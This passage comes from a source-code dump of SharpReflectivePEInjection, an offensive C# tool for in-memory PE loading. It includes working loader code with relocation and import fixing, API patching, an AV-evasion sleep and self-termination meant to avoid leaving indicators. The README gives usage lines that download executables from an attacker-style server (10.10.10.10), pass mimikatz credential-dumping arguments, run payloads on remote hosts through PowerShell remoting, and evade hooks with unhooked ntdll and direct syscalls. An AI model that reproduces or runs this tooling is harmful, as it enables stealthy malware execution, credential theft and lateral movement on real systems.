(int)BaseRelocationRVA);\r\nIMAGE_BASE_RELOCATION ImageBaseRelocation = new();\r\nImageBaseRelocation = Marshal.PtrToStructure<IMAGE_BASE_RELOCATION>(RelocationTablePtr);\r\nint ImageSizeOfBaseRelocation = Marshal.SizeOf<IMAGE_BASE_RELOCATION>();\r\nint SizeOfRelocationBlock = (int)ImageBaseRelocation.SizeOfBlock;\r\nIntPtr pRelocationTablePtr = RelocationTablePtr; // using a pointer to a pointer ??? --__('')__--\r\n\r\nwhile (true)\r\n{\r\n    IMAGE_BASE_RELOCATION ImageBaseRelocation2 = new();\r\n    IntPtr NextRelocationBlock = IntPtr.Add(RelocationTablePtr, SizeOfRelocationBlock);\r\n    ImageBaseRelocation2 = Marshal.PtrToStructure<IMAGE_BASE_RELOCATION>(NextRelocationBlock);\r\n\r\n    IntPtr RelocationBlockAddress = IntPtr.Add(codebase, (int)ImageBaseRelocation.VirtualAdress);\r\n    int RelocationEntriesinBlock = (int)((ImageBaseRelocation.SizeOfBlock - ImageSizeOfBaseRelocation) / 2);\r\n\r\n    for (int i = 0; i < RelocationEntriesinBlock; i++)\r\n    {\r\n        UInt16 RelocationEntry = (UInt16)Marshal.ReadInt16(pRelocationTablePtr, ImageSizeOfBaseRelocation + (2 * i));\r\n        UInt16 type = (UInt16)(RelocationEntry >> 12);\r\n        UInt16 AddressToFix = (UInt16)(RelocationEntry & 0xfff);\r\n        switch (type)\r\n        {\r\n            case 0x0:\r\n                break;\r\n            case 0xA: // PE32+\r\n                IntPtr PatchAddress = IntPtr.Add(RelocationBlockAddress, AddressToFix);\r\n                long OriginalAddress = Marshal.ReadInt64(PatchAddress);\r\n                Marshal.WriteInt64(PatchAddress, OriginalAddress + delta);\r\n                break;\r\n\r\n            case 0x3: // PE32\r\n                IntPtr PatchAddress32 = IntPtr.Add(RelocationBlockAddress, AddressToFix);\r\n                int OriginalAddress32 = Marshal.ReadInt32(PatchAddress32);\r\n                Marshal.WriteInt32(PatchAddress32, OriginalAddress32 + (int)delta);\r\n                break;\r\n        }\r\n\r\n    }\r\n    pRelocationTablePtr = IntPtr.Add(RelocationTablePtr, SizeOfRelocationBlock);\r\n    SizeOfRelocationBlock += (int)ImageBaseRelocation2.SizeOfBlock;\r\n    ImageBaseRelocation = ImageBaseRelocation2;\r\n\r\n    if (ImageBaseRelocation2.SizeOfBlock == 0) break;\r\n}\r\nprint(\"[*] Performed Relocations\");\r\n\r\n\r\n\r\n// Resolving Imports, Dancing in the IAT \r\n\r\n\r\n\r\nint IMBORT_DIRECTORY_TABLE_ENTRY_LENGTH = 20;\r\nint IDT_IAT_OFFSET = 16;\r\nint DLL_NAME_RVA_OFFSET = 12;\r\nint IMPORT_LOOKUP_TABLE_HINT = 2;\r\n\r\nvar IMPORT_TABLE_SIZE = Is32bitPE == true ? (int)OptionalHeader32.ImportTable.Size : (long)OptionalHeader64.ImportTable.Size;\r\nint ImportTableRVA = Is32bitPE == true ? (int)OptionalHeader32.ImportTable.VirtualAddress : (int)OptionalHeader64.ImportTable.VirtualAddress;\r\n\r\nint SizeOfImportDescriptorStruct = Marshal.SizeOf<DInvoke.Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR>();\r\nvar NumberOfDlls = IMPORT_TABLE_SIZE / SizeOfImportDescriptorStruct;\r\n\r\nIntPtr pIDT = IntPtr.Add(codebase, ImportTableRVA);\r\n\r\nfor (int DllIndex = 0; DllIndex < NumberOfDlls; DllIndex++)\r\n{\r\n    IntPtr pImageImportDescriptor = IntPtr.Add(pIDT, IMBORT_DIRECTORY_TABLE_ENTRY_LENGTH * DllIndex);\r\n    IntPtr dllNameRva = IntPtr.Add(pImageImportDescriptor, DLL_NAME_RVA_OFFSET);\r\n    IntPtr dllNamePtr = IntPtr.Add(codebase, Marshal.ReadInt32(dllNameRva));\r\n    string DllName = Marshal.PtrToStringAnsi(dllNamePtr);\r\n    if (string.IsNullOrEmpty(DllName)) { break; }\r\n    IntPtr Handle2Dll;\r\n    //if (DllName.ToLower() == \"kernel32.dll\") { Handle2Dll = kernel32.ModuleBase; } // if the loaded PE uses kernel32, it will use the mapped clean version\r\n    if (DllName.ToLower() == \"ntdll.dll\") { Handle2Dll = ntdll.ModuleBase; } // same here for ntdll\r\n    Handle2Dll = LoadModuleFromDisk(DllName); // LdrLoadDll\r\n    Console.Write($\"\\r[+] slowly loading DLLs: {DllName}  \\r\");\r\n    Console.Write(\"\\r\");\r\n\r\n    int IAT_RVA = Marshal.ReadInt32(pImageImportDescriptor, IDT_IAT_OFFSET);\r\n    IntPtr IATPtr = IntPtr.Add(codebase, IAT_RVA);\r\n\r\n    while (true)\r\n    {\r\n        IntPtr DllFuncNamePtr = IntPtr.Add(codebase, Marshal.ReadInt32(IATPtr) + IMPORT_LOOKUP_TABLE_HINT);\r\n        string DllFuncName = Marshal.PtrToStringAnsi(DllFuncNamePtr);\r\n        if (string.IsNullOrEmpty(DllFuncName)) { break; } // sanity \r\n        IntPtr FuncAddress= GetNativeExportAddress(Handle2Dll, DllFuncName); // LdrGetProcedureAddress\r\n        var IntFunctionAddress = Is32bitPE == true ? FuncAddress.ToInt32() : FuncAddress.ToInt64();\r\n        if (Is32bitPE)\r\n        {\r\n            Marshal.WriteInt32(IATPtr, (int)IntFunctionAddress);\r\n\r\n        }\r\n        else\r\n        {\r\n            Marshal.WriteInt64(IATPtr, (long)IntFunctionAddress);\r\n        }\r\n\r\n        IATPtr = IntPtr.Add(IATPtr, IntPtr.Size);\r\n        Thread.Sleep(31); // slowing down to not trigger AV\r\n    }\r\n    \r\n\r\n}\r\nprint(\"[*] Loaded Dlls and Fixed Import Access Table\");\r\n\r\n\r\n// cmdline hijacking\r\n\r\nstring ExeArgs = $\" {Args}\"; // needs a white space prefix\r\nif (!string.IsNullOrEmpty(Args)) { print($\"[*] Passing [{Args}] to EXE\"); }\r\nvoid PatchGetCommandLineX() // reference Invoke-ReflectivePEinjection.ps1, Lines: 1966 - 2125\r\n{\r\n    int PtrSize = IntPtr.Size; // 32Bit=4, 64bit=8\r\n\r\n    IntPtr hKernelBase = GetPebLdrModuleEntry(\"kernelbase.dll\");\r\n\r\n    IntPtr CLIWptr = Marshal.StringToHGlobalUni(ExeArgs); \r\n    IntPtr CLIAptr = Marshal.StringToHGlobalAnsi(ExeArgs);  \r\n\r\n    // GetCommandLineA address from kernelbase.dll\r\n    IntPtr GetCommandLineAaddr = GetExportAddress(hKernelBase, \"GetCommandLineA\");\r\n    \r\n    // GetCommandLineW address from kernelbase.dll\r\n    IntPtr GetCommandLineWaddr = GetExportAddress(hKernelBase, \"GetCommandLineW\");\r\n\r\n    byte[] AssemblyPatch;\r\n\r\n    if (!Is32bitPE)\r\n    {\r\n     \r\n        AssemblyPatch = new byte[] { 0x48, 0xb8 }; // MOV REX.W // prepares the cpu for x64 instructions\r\n    }\r\n    else\r\n    {\r\n        AssemblyPatch = new byte[] { 0xb8 }; // MOV, if x86\r\n    }\r\n\r\n    byte[] RET = { 0xc3 };\r\n\r\n    uint TotalSize;\r\n    TotalSize = (uint)(AssemblyPatch.Length + PtrSize + RET.Length);\r\n\r\n    IntPtr NtTotalSize = new IntPtr(TotalSize);\r\n    uint OldProtection = 0;\r\n\r\n    byte[] Nulls = new byte[TotalSize];\r\n    for (int i = 0; i < Nulls.Length; i++) { Nulls[i] += 0x00; }\r\n\r\n    // overwriting GetCommandLineA\r\n\r\n    NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineAaddr, NtTotalSize, PAGE_READWRITE, OldProtection);\r\n\r\n    Marshal.Copy(Nulls.ToArray(), 0, GetCommandLineAaddr, Nulls.Length);\r\n\r\n    Marshal.Copy(AssemblyPatch, 0, GetCommandLineAaddr, AssemblyPatch.Length);\r\n    GetCommandLineAaddr = IntPtr.Add(GetCommandLineAaddr, AssemblyPatch.Length);\r\n    Marshal.StructureToPtr(CLIAptr, GetCommandLineAaddr, true); // puts the CLIAptr string in GetCommandLineAptr memory address\r\n    GetCommandLineAaddr = IntPtr.Add(GetCommandLineAaddr, PtrSize);\r\n    Marshal.Copy(RET, 0, GetCommandLineAaddr, RET.Length);\r\n\r\n    NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineAaddr, NtTotalSize, PAGE_EXECUTEREAD, OldProtection);\r\n\r\n    Thread.Sleep(20);\r\n    \r\n    // overwriting GetCommandLineW\r\n\r\n    NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineWaddr, NtTotalSize, PAGE_READWRITE, OldProtection);\r\n\r\n    Marshal.Copy(Nulls.ToArray(), 0, GetCommandLineWaddr, Nulls.Length);\r\n\r\n    Marshal.Copy(AssemblyPatch, 0, GetCommandLineWaddr, AssemblyPatch.Length);\r\n    GetCommandLineWaddr = IntPtr.Add(GetCommandLineWaddr, AssemblyPatch.Length);\r\n    Marshal.StructureToPtr(CLIWptr, GetCommandLineWaddr, true); // puts the CLIAptr string in GetCommandLineAptr memory address\r\n    GetCommandLineWaddr = IntPtr.Add(GetCommandLineWaddr, PtrSize);\r\n    Marshal.Copy(RET, 0, GetCommandLineWaddr, RET.Length);\r\n\r\n    NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineWaddr, NtTotalSize, PAGE_EXECUTEREAD, OldProtection);\r\n\r\n    Thread.Sleep(20);\r\n\r\n    if (!string.IsNullOrEmpty(ExeArgs)) { print(\"[*] Patched args !\"); }\r\n\r\n    NtClose(hKernelBase);\r\n    Marshal.FreeHGlobal(CLIAptr);\r\n    Marshal.FreeHGlobal(CLIWptr);\r\n\r\n}\r\n\r\nvoid Patch_xcmdln() // adding support to Native C/C++ args like (argv[0]) to make it fully compatible with anything\r\n{\r\n\r\n    uint OldProtect;\r\n    uint NtOld = 0;\r\n\r\n    IntPtr hDll = GetPebLdrModuleEntry(\"msvcrt.dll\"); // without using DInvoke and Native C# structures to acces the PEB it won't work\r\n    if (hDll == IntPtr.Zero) { print(\"[-] could not load msvcrt.dll, non windows api args will not be patched\"); }\r\n    IntPtr Wcmdlineaddr = GetExportAddress(hDll, \"_wcmdln\");\r\n    IntPtr Acmdlineaddr = GetExportAddress(hDll, \"_acmdln\");\r\n\r\n    IntPtr NewPtra_cmdln = Marshal.StringToHGlobalAnsi(ExeArgs);\r\n    IntPtr NewPtrw_cmdln = Marshal.StringToHGlobalAnsi(ExeArgs);\r\n\r\n    IntPtr NtSize = new IntPtr(IntPtr.Size);\r\n\r\n    // patch a_cmdln\r\n\r\n    NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, PAGE_READWRITE, NtOld);\r\n    Marshal.StructureToPtr(NewPtra_cmdln, Acmdlineaddr, true);\r\n    NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, NtOld, NtOld);\r\n\r\n    // patch W_cmdln\r\n\r\n    NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, PAGE_READWRITE, NtOld);\r\n    Marshal.StructureToPtr(NewPtrw_cmdln, Wcmdlineaddr, true);\r\n    NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, NtOld, NtOld);\r\n\r\n\r\n    NtClose(hDll);\r\n\r\n    Marshal.FreeHGlobal(NewPtra_cmdln);\r\n    Marshal.FreeHGlobal(NewPtrw_cmdln);\r\n\r\n}\r\n\r\n\r\n\r\n\r\nvoid PatchExit() // guess what, YEP referencing Invoke-ReflectivePEInjection.ps1 again, these people are awesome!!!\r\n{\r\n    print(\"[*] Patching Exit mechanism to ExitThread\");\r\n\r\n    var ExitFunctions = new List<IntPtr>();\r\n\r\n    IntPtr hMscoree = GetPebLdrModuleEntry(\"mscoree.dll\");\r\n    if (hMscoree == IntPtr.Zero) { print(\"did not find mscoree.dll\"); }\r\n    IntPtr hkernel32 = GetPebLdrModuleEntry(\"kernel32.dll\");\r\n    if (hkernel32 == IntPtr.Zero) { print(\"did not find kernel32.dll, WTF kind of windows doesn't have kernel32\"); }\r\n\r\n    IntPtr CorExitProcaddr = GetExportAddress(hMscoree, \"CorExitProcess\");\r\n    IntPtr ExitProcAddr = GetExportAddress(hkernel32, \"ExitProcess\");\r\n    if (ExitProcAddr == IntPtr.Zero) { print(\"did not find ExitProcess\"); }\r\n\r\n\r\n\r\n    ExitFunctions.Add(CorExitProcaddr);\r\n    ExitFunctions.Add(ExitProcAddr);\r\n\r\n\r\n    uint OldProtection = 0;\r\n\r\n    foreach (IntPtr Function in ExitFunctions)\r\n    {\r\n\r\n        IntPtr FunctionAddr = Function;\r\n        byte[] AssemblyPatch;\r\n        byte[] AssemblyPatch2;\r\n\r\n        if (Is32bitPE) // x86 assembly to patch\r\n        {\r\n            AssemblyPatch = new byte[] { 0xbb };\r\n            AssemblyPatch2 = new byte[] { 0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb };\r\n        }\r\n        else // guess it \r\n        {\r\n            AssemblyPatch = new byte[] { 0x48, 0xbb };\r\n            AssemblyPatch2 = new byte[] { 0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb };\r\n\r\n        }\r\n\r\n        byte[] CALL_MODRM = { 0xff, 0xd3 };\r\n\r\n        int TotalSize = AssemblyPatch.Length + IntPtr.Size + AssemblyPatch2.Length + IntPtr.Size + CALL_MODRM.Length;\r\n        IntPtr NtTotalSize = new IntPtr(TotalSize);\r\n\r\n        IntPtr DonyBytePtr = Marshal.AllocHGlobal(1);\r\n\r\n        IntPtr ExitThreadAddr = GetExportAddress(hkernel32, \"ExitThread\");\r\n\r\n        _ = NtProtectVirtualMemory(new IntPtr(-1), FunctionAddr, NtTotalSize, PAGE_READWRITE, OldProtection);\r\n\r\n        Marshal.Copy(AssemblyPatch, 0, FunctionAddr, AssemblyPatch.Length);\r\n        FunctionAddr = IntPtr.Add(FunctionAddr, AssemblyPatch.Length);\r\n        Marshal.StructureToPtr(DonyBytePtr, FunctionAddr, false);\r\n\r\n        FunctionAddr = IntPtr.Add(FunctionAddr, IntPtr.Size);\r\n        Marshal.Copy(AssemblyPatch2, 0, FunctionAddr, AssemblyPatch2.Length);\r\n        FunctionAddr = IntPtr.Add(FunctionAddr, AssemblyPatch2.Length);\r\n        Marshal.StructureToPtr(ExitThreadAddr, FunctionAddr, false);\r\n\r\n        FunctionAddr = IntPtr.Add(FunctionAddr, IntPtr.Size);\r\n        Marshal.Copy(CALL_MODRM, 0, FunctionAddr, CALL_MODRM.Length);\r\n\r\n        _= NtProtectVirtualMemory(new IntPtr(-1), FunctionAddr, NtTotalSize, PAGE_EXECUTEREAD, OldProtection);\r\n\r\n\r\n        Marshal.FreeHGlobal(DonyBytePtr);\r\n    }\r\n\r\n\r\n    NtClose(hMscoree);\r\n    NtClose(hkernel32);\r\n}\r\n\r\n\r\nvoid RedirectStd(){ // Redirects stds, (i know how nasty that sounds, keep it your pants XD) \r\n    \r\n    // stdout and stderr are captured\r\n    var stdout = new NamedPipeServerStream(\"stdout\", PipeDirection.Out);\r\n    var stderr = new NamedPipeServerStream(\"stderr\", PipeDirection.Out);\r\n\r\n    IntPtr stdoutPIPEHandle = stdout.SafePipeHandle.DangerousGetHandle();\r\n    IntPtr stderrPIPEHandle = stderr.SafePipeHandle.DangerousGetHandle();\r\n\r\n    bool OUTinherit = SetHandleInformation(stdoutPIPEHandle, 0x00000001, 0x00000001);\r\n    if (!OUTinherit) { Console.WriteLine(\"[-] Error in Configuring stdout pipe\"); }\r\n    \r\n    bool ERRinherit = SetHandleInformation(stderrPIPEHandle, 0x00000001, 0x00000001);\r\n    if (!ERRinherit) { Console.WriteLine(\"[-] Error in Configuring stderr pipe\"); }\r\n\r\n\r\n    SetStdHandle(-11, stdoutPIPEHandle); // as easy as it gets XD\r\n    SetStdHandle(-12, stderrPIPEHandle); // as easy as it gets XD\r\n\r\n    stdout.WaitForConnection();\r\n    stderr.WaitForConnection();\r\n    \r\n}\r\n\r\nvoid CleanOnExitEvent() // reason behind is to properly clean the memory on CTRL-C press\r\n{\r\n    uint old = 0;\r\n    IntPtr ReleaseAllMemory = IntPtr.Zero;\r\n\r\n    uint p = (uint)NtProtectVirtualMemory(new IntPtr(-1), codebase, NtSizeOfImage, PAGE_READWRITE, old);\r\n    if (p != 0) { print(\"[-] Error in changing Memory Protection for Cleanup\"); }\r\n\r\n    byte[] zeroes = new byte[SizeOfImage];\r\n    for (var i = 0; i < zeroes.Length; i++)\r\n    {\r\n        zeroes[i] = 0x00;\r\n    }\r\n\r\n    Marshal.Copy(zeroes.ToArray(), 0, codebase, (int)SizeOfImage);\r\n\r\n    print(\"\\n[*] Zeroed-Out all the memory\");\r\n    uint f = NtFreeVirtualMemory(new IntPtr(-1), ref codebase, ref ReleaseAllMemory, 0x00008000); // decommit and release at the same time\r\n    if (f != 0) { print(\"[-] Error in Freeing the Allocated Memory for Cleanup\"); }\r\n    print(\"[*] Freed all allocated memory\");\r\n    if (!useSysCalls) { Map.FreeModule(ntdll); print(\"[*] Freed Mapped ntdll\"); }\r\n    Process.GetCurrentProcess().Kill();\r\n\r\n}\r\n\r\n\r\nvoid Suicide() {\r\n    Thread.Sleep(15000);\r\n    Process.GetCurrentProcess().Dispose();\r\n    Process.GetCurrentProcess().Kill();\r\n\r\n    /* \r\n    if a problem happened during remote execution and the Execution didn't end properly, resources including created\r\n    NamedPipes and Remote Runspaces are not disposed properly which causes 2 things, \r\n    leaves IOCs on the remote machine\r\n    prevents further remote reflections due to confusion in NamedPipe Communications\r\n\r\n    this ensures that everytime a remote execution occurs after 15 seconds of Invoking the PE, \r\n    it will close itself automatically despite any problems that may cause hanging, so we don't have to worry about cleaning up\r\n    */\r\n}\r\n\r\nvoid LocalSuicide() {\r\n    Thread.Sleep(90000);\r\n    Process.GetCurrentProcess().Dispose();\r\n    Process.GetCurrentProcess().Kill();\r\n\r\n    /*\r\n    same as Suicide() but for local execution, this function is made to ensure reliable use with C2 channels \r\n    if the PE did not exit properly in cmd session we can press CTRL-C and thats it but with C2 due to beaconing and\r\n    multithreaded executions its not that simple, this ensures even if the PE errored and did not exit, that after\r\n    1.5 Mins it effectively will.\r\n    the time the function waits before killing the process is 1.5 Mins, way longer than Suicide() to not interfere\r\n    with actual execution\r\n    */\r\n}\r\n\r\n\r\nvoid ExitEvent()\r\n{\r\n    Console.CancelKeyPress += (sender, eArgs) => { // on exit , clean up everything\r\n        CleanOnExitEvent();\r\n        Process.GetCurrentProcess().Kill();\r\n\r\n    };\r\n}\r\n\r\nPatchGetCommandLineX();\r\nPatch_xcmdln();\r\nif (PatchExitProcs) { PatchExit(); }\r\nExitEvent();\r\n\r\n\r\n\r\nint AddressOfEntryPoint = Is32bitPE == true ? (int)OptionalHeader32.AddressOfEntryPoint : (int)OptionalHeader64.AddressOfEntryPoint;\r\nIntPtr threadStart = IntPtr.Add(codebase, AddressOfEntryPoint);\r\nIntPtr hThread = IntPtr.Zero;\r\n\r\nprint(\"[+] Suicide Burn before Execution....\"); // this trick is from BetterSafetyKatz repo ;)\r\nThread.Sleep(4219);\r\n\r\nif (RedirectOutPut) { RedirectStd(); Thread suicide = new(()=> { Suicide(); }); suicide.Start(); }\r\nif (!RedirectOutPut && !DisableLocalSuicide) { Thread LS = new(() => { LocalSuicide(); }); LS.Start(); }\r\nNtCreateThreadEx(ref hThread, THREAD_ALL_ACCESS, IntPtr.Zero, new IntPtr(-1), threadStart, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);\r\nNtWaitForSingleObject(hThread, false, IntPtr.Zero);\r\nCleanOnExitEvent(); // most of the time its not reachable but it is useful when its reachable \r\n\r\n\r\n\r\n\r\n\r\n\r\n// function Delegates definitions\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate uint NtAllocateVirtualMemory(\r\n    IntPtr processHandle, // pseudo handle to the current process (IntPtr)(-1)\r\n    ref IntPtr allocatedAddress, // NtAllocateVirtualMemory will fill up this parameter with the allocated memory \r\n    IntPtr zeroBits, // ZERO IntPtr.Zero\r\n    ref IntPtr regionSize, // (IntPtr)OptionalHeader.SizeOfImage\r\n    uint allocationType,\r\n    uint memoryProtection\r\n);\r\n\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate IntPtr NtClose(IntPtr HANDLE);\r\n\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate uint NtProtectVirtualMemory(\r\n    IntPtr processHandle,\r\n    ref IntPtr baseAddress,\r\n    ref IntPtr regionSize,\r\n    uint newProtect,\r\n    ref uint oldProtect\r\n);\r\n\r\n\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate uint NtFreeVirtualMemory(\r\n    IntPtr processHandle,\r\n    ref IntPtr baseAddress,\r\n    ref IntPtr regionSize,\r\n    uint freeType\r\n);\r\n\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate uint NtCreateThreadEx(\r\n    ref IntPtr threadHandle,\r\n    uint desiredAccess,\r\n    IntPtr objectAttributes,\r\n    IntPtr processHandle,\r\n    IntPtr startAddress,\r\n    IntPtr parameter,\r\n    bool createSuspended,\r\n    int stackZeroBits,\r\n    int sizeOfStack,\r\n    int maximumStackSize,\r\n    IntPtr attributeList\r\n);\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate IntPtr NtWaitForSingleObject(IntPtr HANDLE, bool BOOL, IntPtr Handle);\r\n\r\n// kernelbase.dll \r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate bool SetHandleInformation(IntPtr hObject, int dwMask, int dwFlags);\r\n\r\n[UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\npublic delegate bool SetStdHandle(int nStdHandle, IntPtr hHandle);\r\n"
  },
  {
    "path": "Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General Information about an assembly is controlled through the following\r\n// set of attributes. Change these attribute values to modify the information\r\n// associated with an assembly.\r\n[assembly: AssemblyTitle(\"SharpReflectivePEInjection\")]\r\n[assembly: AssemblyDescription(\"\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"\")]\r\n[assembly: AssemblyProduct(\"\")]\r\n[assembly: AssemblyCopyright(\"\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n// Setting ComVisible to false makes the types in this assembly not visible\r\n// to COM components.  If you need to access a type in this assembly from\r\n// COM, set the ComVisible attribute to true on that type.\r\n[assembly: ComVisible(false)]\r\n\r\n// The following GUID is for the ID of the typelib if this project is exposed to COM\r\n[assembly: Guid(\"fa483103-816e-464a-a227-8042d77acbb4\")]\r\n\r\n// Version information for an assembly consists of the following four values:\r\n//\r\n//      Major Version\r\n//      Minor Version\r\n//      Build Number\r\n//      Revision\r\n//\r\n// You can specify all the values or you can default the Build and Revision Numbers\r\n// by using the '*' as shown below:\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.3.3.7\")]\r\n[assembly: AssemblyFileVersion(\"1.3.3.7\")]\r\n"
  },
  {
    "path": "README.md",
    "content": "# SharpReflectivePEInjection #\n\n**Update: fixed x32 loading issue and till now syscalls are not working with x32 applications**\n\nthanks to <a href=https://github.com/MexHigh>MexHigh</a> for telling me about this bug way back in november\n\n```\nC:\\> SharpReflectivePEInjection.exe -h\n\n-url, -u          url to the binary to download\n\n-file, -f         full path to a binary to execute [useful when executing local PE on a remote machine]\n\n-b64PE            pass the entire PE as B64 encoded blob (if you are a mad person)\n\n-Args, -args, -a  Arguments to be passed to Exe [Optional]\n\n-patch_exit       Patch CorExit and ExitProcess to ExitThread [you know what is it if you need it XD]\n\n-syscalls         Instead of Mapping ntdll, will use dynamic syscalls [Hell's Gate Technique]\n\n-ComputerName     use powershell remoting to execute the PE on a target machine [Optional] (Retrieves output)\n\n-DisableForceExit Disable the 1.5 Minute Maximum Runtime Enforcement [Ex: if running interactive mimikatz]\n\n-help             Display this help screen.\n\n\nusage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args \"<EXE_ARGS>\"]\nusage: .\\SharpReflectivePEInjection.exe -b64PE <BASE64 PE_BLOB> [Optional: -Args \"<EXE_ARGS>\"]\nusage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args \"<EXE_ARGS>\"]\n```\n\n\n## Local Execution ##\n\n- SharpReflectivePEInjection supports multiple ways to load and execute a PE on the local machine \n\t\n\t- from a server: `.\\SharpReflectivePEInjection.exe -u http://10.10.10.10/exe.exe [Optional: -Args \"sekurlsa::ekeys exit\"]`\n\t- from a file: `.\\SharpReflectivePEInjection.exe -f c:\\windows\\system32\\net.exe [Optional: -Args \"user\"] [Optional: -patch_exit]`\n\t- from a base64 blob: `.\\SharpReflectivePEInjection.exe -b64PE BASE_64_BLOB [Optional: -Args \"sekurlsa::ekeys exit\"]`\n\n\n## Remote Execution ##\n\n- SharpReflectivePEInjection supports multiple ways to load and execute a PE on a remote machine (retreives PE output from remote machine) \n\n\t- from a server: `.\\SharpReflectivePEInjection.exe -u http://10.10.10.10/exe.exe [Optional: -Args \"sekurlsa::ekeys exit\"] -ComputerName server.local`\n\t- from a file: `.\\SharpReflectivePEInjection.exe -f c:\\windows\\system32\\net.exe [Optional: -Args \"user\"] [Optional: -patch_exit] -ComputerName server.local`\n\t- from a base64 blob: `.\\SharpReflectivePEInjection.exe -b64PE BASE_64_BLOB [Optional: -Args \"sekurlsa::ekeys exit\"] -ComputerName server.local`\n\n\n\n## passing arguments to PE ##\n\n- SharpReflectivePEInjection passes arguments to PE by patching 4 functions with the arguments provided through the (`-Args`) argument, those functions are:\n\t\n\t- `GetCommandLineW` - from kernelbase.dll\n\t- `GetCommandLineA` - from kernelbase.dll\n\t- `_wcmdln` - from msvcrt.dll\n\t- `_acmdln` - from msvcrt.dll\n\n- this way of patching arguments effectively makes it compatible with any argument parsing method wether thats WindowsAPI or a basic `argv[]` method\n\n\n\n## supported architectures ##\n\n- SharpReflectivePEInjection supports both x86 and x64 architectures, if you compiled the tool for x86 you will be able to load x86 vice-versa for x64\n\n\n## Windows API hooking & IAT  ##\n\n- SharpReflectivePEInjection heavily depends on DInvoke in importations for a good reason, the way its designed is that it heavily relies on `ntdll.dll` API calls and by default maps a clean version of ntdll in the begining of its execution and uses delegates to map actual function pointers from the clean ntdll to the defined delegates so the delegates can be used as functions, because ntdll is at the last point of user-land this ensures any function call will be unhooked, another perk of this is that the binary does NOT have any IAT table as every importation happens dynamically\n\n\n\n### kernel-land calls ###\n\n- SharpReflectivePEInjection supports another way of using delegates and DInvoke to execute code, which is dynamic syscall invokation using the `GetSyscallStub()` function from DInvoke its able to read ntdll from disk extract the kernel syscall stub for the function we need and using Marshal we cast the syscall to a delegate and using this delegate we interface directly with kernel land when calling a function bypassing user-land entirely, this is known as (Hell's Gate Technique), this method is used when passing `-syscalls` argument\n\n\n\n\n## Remote Reflection ##\n\n- the Remote reflection capability utilizes multiple techniques to be able to remotely execute and remotely retrieve output from the PE:\n\t\n\t- what happens locally\n\t\t- uses the current user context to create a remote powershell runspace on the remote machine\n\t\t- the code has an embedded powershell dotNET loader stored in `powershell_script` variable\n\t\t- retrieves its own bytes Base64 encodes them and passes them to the dotnet loader\n\t\t- uses whatever method the user chose to retrieve the PE (url/file/b64) and always passes the PE to the dotNet loader in Base64 \n\t\t- takes the passed arguments, properly filters them and passes them to the dotnet loader \n\t\t- forks 2 threads each thread opens a NamedPipe client that connects to (`stdout/stderr`) pipes remotely using the machine name passed to `-ComputerName` waiting to read from PE output from them\n\t\t- invokes the powershell dotnet loader in the remote runspace\n\n\n\t- what happens remotely\n\t\t- once the powershell code invoked in the remote runspace it starts to reflectively load and execute the dotNet bytes retreived first\n\t\t- after loading itself it starts loading the PE passed to it\n\t\t- after normally executing and before the PE entry point is called, it creates 2 named pipe servers and redirects its own stdout and stderr to them after this it calls a function named `Suicide` (discussed later)\n\t\t- once the loaded PE executed its output is passed to the named pipes which the clients from above reads\n\n\n\n\t- PE passing functionality\n\t\t- as mentioned above the PE which will be reflectively loaded on the remote machine is always passed to the remote machine in Base64, why\n\n\t\t- there is 2 good reasons behind this:\n\t\t\t- bypassing network based restrictions (ex: target machine can't reach the payload server to download the PE)\n\t\t\t- easily passing a local PE to a remote machine using the (-file) argument\n\n\n\n- the idea behind the is that we can make the C# code execute itself on another machine and make only certain aspects of the code run under dynamically defined (true/false) conditions\n\n\n\n\n## Suicide (the functions XD) and IOCs ##\n\n- there are 2 functions in the code named (Suicide and LocalSuicide) *sorry for the disturbing name XD*\n\n\t- Suicide is called in seperate thread directly after stdout/err redirection when the program is running remotely, it waits for 15 seconds before automatically dispose all resources and make the process kills itself, the reason behind this is that if a problem happened during remote execution and the Execution didn't end properly, resources including created NamedPipes and Remote Runspaces are not disposed properly which causes 2 things, leaves IOCs on the remote machine prevents further remote reflections due to confusion in NamedPipe Communications this ensures that everytime a remote execution occurs after 15 seconds of Invoking the PE, it will close itself automatically despite any problems that may cause hanging, so we don't have to worry about cleaning up\n\n\n\t- LocalSuicide is pretty much the same thing but for local execution\n\n\t\t- the reason behind it is to ensure reliable use with C2 channels if the PE did not exit properly in a cmd session we can press CTRL-C and thats it but with C2 due to beaconing and multithreaded executions its not that simple, this ensures even if the PE errored and did not exit, that after 1.5 Mins it effectively will. the time the function waits before killing the process is 1.5 Mins, way longer than Suicide() to not interfere with actual 